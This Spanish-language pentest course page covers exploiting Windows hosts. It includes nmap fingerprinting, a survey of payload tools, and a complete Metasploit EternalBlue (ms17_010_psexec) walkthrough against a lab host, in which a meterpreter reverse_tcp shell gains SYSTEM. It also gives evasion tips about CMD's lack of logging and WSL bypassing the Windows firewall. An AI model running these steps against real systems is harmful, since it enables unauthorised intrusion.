Infiltrating Windows
Desde que muchos de nosotros podemos recordar, Microsoft ha dominado los mercados doméstico y empresarial en términos de computación. En los tiempos modernos, con la introducción de características mejoradas de Active Directory, mayor interconectividad con los servicios en la nube, el Subsistema de Windows para Linux y mucho más, la superficie de ataque de Microsoft también ha crecido.
Por ejemplo, solo en los últimos cinco años, se han reportado 3,688 vulnerabilidades en productos de Microsoft, y este número sigue creciendo diariamente.

Vulnerabilidades prominentes en Windows
En los últimos años, varias vulnerabilidades del sistema operativo Windows han sido objeto de algunos de los ataques más explotados de nuestro tiempo. A continuación, se describen algunas de ellas:
Vulnerabilidad
Descripción
MS08-067
Una falla crítica en el SMB que facilitaba la infiltración en un host Windows. Fue utilizada por el gusano Conficker y el ataque Stuxnet.
Eternal Blue
MS17-010 es un exploit filtrado en el Shadow Brokers dump del NSA. Fue usado en los ataques de ransomware WannaCry y NotPetya, explotando una falla en el protocolo SMB v1.
PrintNightmare
Vulnerabilidad de ejecución remota en el spooler de impresión de Windows. Con credenciales válidas o una shell de bajo privilegio, permite acceso de nivel sistema al host.
BlueKeep
CVE 2019-0708 es una vulnerabilidad en el protocolo RDP de Microsoft que permite la ejecución remota de código. Afecta a varias versiones de Windows desde 2000 hasta Server 2008 R2.
SigRed
CVE 2020-1350 explotaba una falla en cómo DNS maneja los registros SIG. Si se ejecuta correctamente, permite obtener privilegios de administrador del dominio.
SeriousSam
CVE 2021-36924 permite que usuarios no elevados accedan a la base de datos SAM y otros archivos debido a errores en los permisos de carpetas del sistema.
Zerologon
CVE 2020-1472 explota una falla criptográfica en el protocolo de Netlogon, permitiendo a un atacante realizar cambios en las cuentas del servidor en segundos.
Con estas vulnerabilidades en mente, Windows no desaparecerá pronto. Por lo tanto, es esencial ser proficientes en identificar vulnerabilidades, explotarlas y navegar por entornos Windows. Una comprensión sólida de estos conceptos puede ayudarnos a asegurar nuestros entornos contra ataques.
Métodos de enumeración y fingerprinting en Windows
Este módulo asume que ya has realizado la fase de enumeración de hosts y comprendes qué servicios son comúnmente vistos en los hosts. Aquí, se presentan algunos trucos rápidos para determinar si un host es probablemente una máquina con Windows.
Método 1: TTL (Time to Live)
Una forma de identificar un host Windows es mediante el uso de ICMP para verificar si el host está activo. La respuesta típica de un host Windows tendrá un TTL de 32 o 128. En el siguiente ejemplo, al hacer ping a un host Windows 10, podemos ver que la respuesta tiene un TTL de 128.
sherlock28@htb[/htb]$ ping 192.168.86.39
PING 192.168.86.39 (192.168.86.39): 56 data bytes
64 bytes from 192.168.86.39: icmp_seq=0 ttl=128 time=102.920 ms
64 bytes from 192.168.86.39: icmp_seq=1 ttl=128 time=9.164 ms
64 bytes from 192.168.86.39: icmp_seq=2 ttl=128 time=14.223 ms
64 bytes from 192.168.86.39: icmp_seq=3 ttl=128 time=11.265 ms
Método 2: Escaneo de NMAP
Otra forma de validar si el host es Windows es usar NMAP. Este tiene una capacidad incorporada para ayudar con la identificación de sistemas operativos. Utilizando la opción -O
y la opción -v
para obtener una salida detallada, podemos realizar un escaneo de identificación de OS.
nmap -O -v 192.168.86.39
En la salida, podremos ver algo como:
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
NMAP adivina el sistema operativo basándose en varias métricas derivadas de la pila TCP/IP y lo compara con una base de datos de huellas de OS. En este caso, determina que el host es una máquina con Windows 10, entre las revisiones 1709 y 1909.
Si el escaneo no da muchos resultados, intenta nuevamente con las opciones -A
y -Pn
. Estos escaneos pueden revelar más información en ciertos casos.
Banner Grab para Enumerar Puertos
sherlock28@htb[/htb]$ sudo nmap -v 192.168.86.39 --script banner.nse
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 18:01 EDT
NSE: Loaded 1 scripts for scanning.
<snip>
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Completed SYN Stealth Scan at 18:01, 1.46s elapsed (1000 total ports)
NSE: Script scanning 192.168.86.39.
Initiating NSE at 18:01
Completed NSE at 18:01, 20.11s elapsed
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.012s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, Se
|_rverDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supported/t
912/tcp open apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:SOAP, MKSDisplayProtocol:VNC , ,
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)
Los ejemplos anteriores son solo algunas formas para ayudar a identificar y determinar si un host es una máquina Windows. No es una lista exhaustiva, y hay muchos otros métodos de verificación que puedes usar.
Archivos BAT, DLL y MSI: ¡Oh por Dios!
Cuando se trata de crear payloads para hosts Windows, tenemos muchas opciones disponibles. Los archivos DLL, scripts en lote (batch), paquetes MSI e incluso scripts de PowerShell son algunos de los métodos más comunes. Cada tipo de archivo puede cumplir diferentes propósitos, pero lo que todos tienen en común es que son ejecutables en un host.
Tipos de Payload a Considerar
DLLs Una Dynamic Linking Library (DLL) es un archivo de biblioteca utilizado en sistemas operativos Microsoft que provee código y datos compartidos por varios programas. Como pentester, podemos inyectar un DLL malicioso o secuestrar una biblioteca vulnerable para elevar privilegios a SYSTEM o evitar los Controles de Cuenta de Usuario (UAC).
Batch Los archivos por lotes o batch files son scripts basados en texto utilizados por administradores de sistemas para realizar múltiples tareas mediante el intérprete de línea de comandos. Tienen la extensión
.bat
. Estos archivos pueden automatizar la ejecución de comandos en un host, como abrir un puerto o conectarse a una caja atacante.VBS VBScript es un lenguaje de scripting basado en Visual Basic de Microsoft. Se usa principalmente en servidores web para habilitar páginas dinámicas. Aunque está desactualizado, aún es usado en ataques de phishing y otras tácticas que buscan que el usuario realice una acción, como habilitar macros en documentos.
MSI Los archivos
.MSI
son bases de datos de instalación para el instalador de Windows. Los atacantes pueden crear un payload como un archivo MSI y usar msiexec para ejecutarlo en el host, obteniendo acceso elevado o una shell inversa.PowerShell PowerShell es un entorno de shell y lenguaje de scripting en los sistemas operativos de Microsoft. Ofrece múltiples opciones para obtener una shell o ejecutar comandos en un host, convirtiéndose en una herramienta útil en pruebas de penetración.
Herramientas, Tácticas y Procedimientos para la Generación, Transferencia y Ejecución de Payloads
A continuación, se presentan algunos métodos de generación de payloads y formas de transferirlos a la víctima. Aquí se discutirán a un nivel alto, ya que el enfoque está en la generación de payloads y en obtener una shell en el objetivo.
Generación de Payloads
Existen muchas opciones efectivas para generar payloads que puedan utilizarse en hosts Windows. Algunas de ellas ya se han mencionado previamente, como Metasploit-Framework y MSFVenom, que son herramientas muy útiles ya que son independientes del sistema operativo.
Recurso
Descripción
MSFVenom & Metasploit
Una herramienta extremadamente versátil para cualquier pentester, que permite enumerar hosts, generar payloads, explotar vulnerabilidades y ejecutar acciones de post-explotación.
Payloads All The Things
Un recurso que incluye una gran cantidad de cheatsheets y metodologías para la generación de payloads.
Mythic C2 Framework
Una alternativa a Metasploit como un framework de Comando y Control para la generación de payloads únicos.
Nishang
Colección de scripts ofensivos y PowerShell implants útiles para pentesters.
Darkarmour
Herramienta para generar y utilizar binarios ofuscados contra hosts Windows.
Transferencia y Ejecución de Payload:
Además de los vectores como drive-by en la web, correos de phishing o "dead drops", los hosts de Windows nos ofrecen varias vías adicionales para la entrega de payloads. A continuación, se incluye una lista de herramientas y protocolos útiles para intentar transferir un payload al objetivo:
Impacket: Impacket es un conjunto de herramientas escrito en Python que nos permite interactuar directamente con los protocolos de red. Algunas de las herramientas más interesantes que nos ofrece son psexec, smbclient, wmi, Kerberos, y la capacidad de levantar un servidor SMB.
Payloads All The Things: Es un excelente recurso para encontrar oneliners rápidas que ayuden a transferir archivos entre hosts de manera eficiente.
SMB: SMB puede proporcionar una ruta fácil de explotar para transferir archivos entre hosts, especialmente cuando los hosts de la víctima están unidos a un dominio y utilizan shares para alojar datos. Como atacantes, podemos usar estos recursos compartidos de archivos SMB junto con C$ y admin$ para alojar y transferir nuestros payloads, e incluso exfiltrar datos a través de estos enlaces.
Ejecución remota vía MSF: En muchos de los módulos de explotación de Metasploit está incorporada una función que construye, prepara y ejecuta automáticamente los payloads.
Otros protocolos: Al examinar un host, protocolos como FTP, TFTP, HTTP/S, y otros pueden permitirte cargar archivos en el host. Enumera y presta atención a las funciones que están abiertas y disponibles para su uso.
Ejemplo de Compromiso
Enumerar el Host
Las herramientas como Ping, Netcat, escaneos de Nmap, e incluso Metasploit son buenas opciones para empezar a enumerar posibles víctimas. En este ejemplo, utilizaremos un escaneo con Nmap. La enumeración es una de las fases más críticas de cualquier cadena de explotación, ya que entender el objetivo aumenta las posibilidades de obtener acceso.
sherlock28@htb[/htb]$ nmap -v -A 10.129.201.97
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 18:13 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Discovered open port 135/tcp on 10.129.201.97
Discovered open port 80/tcp on 10.129.201.97
Discovered open port 445/tcp on 10.129.201.97
Discovered open port 139/tcp on 10.129.201.97
Completed Connect Scan at 18:13, 12.76s elapsed (1000 total ports)
Completed Service scan at 18:13, 6.62s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.201.97.
Nmap scan report for 10.129.201.97
Host is up (0.13s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 10.129.201.97 - /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: SHELLS-WINBLUE
| NetBIOS computer name: SHELLS-WINBLUE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-27T15:13:28-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-27T22:13:30
|_ start_date: 2021-09-23T15:29:29
Hemos descubierto algunas cosas sobre el host. Está ejecutando Windows Server 2016 Standard 6.3, conocemos el nombre del equipo y sabemos que no está en un dominio y ejecuta varios servicios. Con esta información, podemos buscar posibles rutas de explotación.
Buscar y decidir una ruta de explotación
El IIS podría ser un camino potencial, o podríamos intentar acceder al host mediante SMB usando una herramienta como Impacket. También existe la posibilidad de que el host sea vulnerable a una ejecución remota de código (RCE). MS17-010 (EternalBlue) es una vulnerabilidad conocida que afecta a los sistemas desde Windows 2008 hasta Server 2016. Vamos a validar si el host es vulnerable utilizando un módulo auxiliar en Metasploit.
msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framewor yes List of named pipes to check
k/data/wordlists/named_pipes.t
xt
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.129.201.97
RHOSTS => 10.129.201.97
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.129.201.97:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.129.201.97:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Podemos ver que nuestro objetivo es probablemente vulnerable a EternalBlue. Ahora podemos configurar el exploit y el payload, y probarlo.
3. Seleccionar Exploit y Payload, luego entregarlos
Elegir y Configurar Nuestro Exploit y Payload
msf6 > search eternal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
2 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
3 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
4 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Para este caso, utilizamos la función de búsqueda en Metasploit (MSF) para encontrar un exploit relacionado con EternalBlue. El resultado anterior muestra varias opciones, y elegimos el exploit ms17_010_psexec, que es la tercera opción, ya que hemos tenido éxito con esta versión en el pasado.
Configurar el Exploit y Payload
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.86.48 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Asegúrate de configurar correctamente las opciones del payload antes de ejecutar el exploit. Los campos RHOSTS, LHOST y LPORT son esenciales. En este ejemplo, dejamos el payload en la configuración predeterminada, que es windows/meterpreter/reverse_tcp.
Validar Nuestras Opciones
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.129.201.97 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
En esta ocasión, usamos un payload básico windows/meterpreter/reverse_tcp. También puedes modificar el payload para un tipo de shell diferente u obfuscar más el ataque, como se ha mostrado anteriormente en la sección de payloads.
Ejecutar el Ataque y Recibir la Conexión
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.129.201.97:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.201.97:445 - Built a write-what-where primitive...
[+] 10.129.201.97:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.201.97:445 - Selecting PowerShell target
[*] 10.129.201.97:445 - Executing the payload...
[+] 10.129.201.97:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.201.97
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.129.201.97:50215) at 2021-09-27 18:58:00 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
¡Éxito! Hemos logrado explotar la vulnerabilidad y obtener una sesión en el sistema con privilegios de SYSTEM. Ahora podemos usar Meterpreter para ejecutar más comandos, recopilar información del sistema, robar credenciales o utilizar módulos de post-explotación.
Identificar Nuestra Shell
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Al ejecutar el comando shell de Meterpreter, se inició otro proceso en el host y entramos en una shell del sistema. El prompt C:\Windows\system32>
nos indica que estamos en una shell de cmd.exe. Para confirmar, puedes ejecutar el comando help dentro de la shell. Si hubiéramos accedido a PowerShell, el prompt se vería así: PS C:\Windows\system32>
. El prefijo PS nos indica que es una sesión de PowerShell.
CMD-Prompt y PowerShell: Usos y Beneficios
En Windows tenemos dos opciones predeterminadas para shells: CMD y PowerShell. Veamos cuándo conviene usar cada una:
CMD
CMD es la shell original de MS-DOS integrada en Windows. Está diseñada para interacciones básicas y operaciones de TI en el host. A continuación, se detallan algunas situaciones en las que es preferible utilizar CMD:
Sistemas antiguos: Si estás en un host antiguo (por ejemplo, Windows XP), puede que PowerShell no esté disponible.
Interacciones simples: Si solo necesitas realizar interacciones básicas con el sistema.
Automatización sencilla: Para ejecutar archivos por lotes o herramientas nativas de MS-DOS.
Políticas de ejecución: Si crees que las políticas de ejecución de scripts pueden interferir en tu capacidad para ejecutar comandos o scripts.
Bajo perfil: CMD no guarda un registro de los comandos ejecutados, por lo que puede ser más difícil rastrear tus acciones.
PowerShell
PowerShell es una herramienta más avanzada que entiende los comandos de MS-DOS y amplía sus capacidades. Algunos de sus beneficios son:
Cmdlets y scripts personalizados: Si planeas usar cmdlets o scripts personalizados basados en .NET.
Interacción con objetos: PowerShell maneja objetos .NET en lugar de solo texto.
Servicios en la nube: Es ideal para interactuar con servicios y hosts basados en la nube.
Alias y scripts avanzados: Si planeas usar scripts que establecen y utilizan Aliases.
WSL y PowerShell para Linux
El Windows Subsystem for Linux (WSL) permite ejecutar un entorno virtual de Linux en Windows. Este sistema podría abrir nuevas formas de acceder a un host. Los atacantes han aprovechado WSL y PowerShell Core en Linux para evitar mecanismos de detección como el Firewall de Windows y Windows Defender.
Este enfoque es relativamente nuevo, pero se ha visto que algunos ataques utilizan Python3 y binarios de Linux en conjunto con PowerShell. Actualmente, las funciones de red ejecutadas desde WSL no son filtradas por el firewall de Windows, lo que lo convierte en un punto ciego.
Cada shell tiene sus pros y contras. CMD es más básico pero menos rastreable, mientras que PowerShell ofrece mayor versatilidad y potencia, especialmente en sistemas modernos o cuando se interactúa con servicios en la nube.
Last updated
Was this helpful?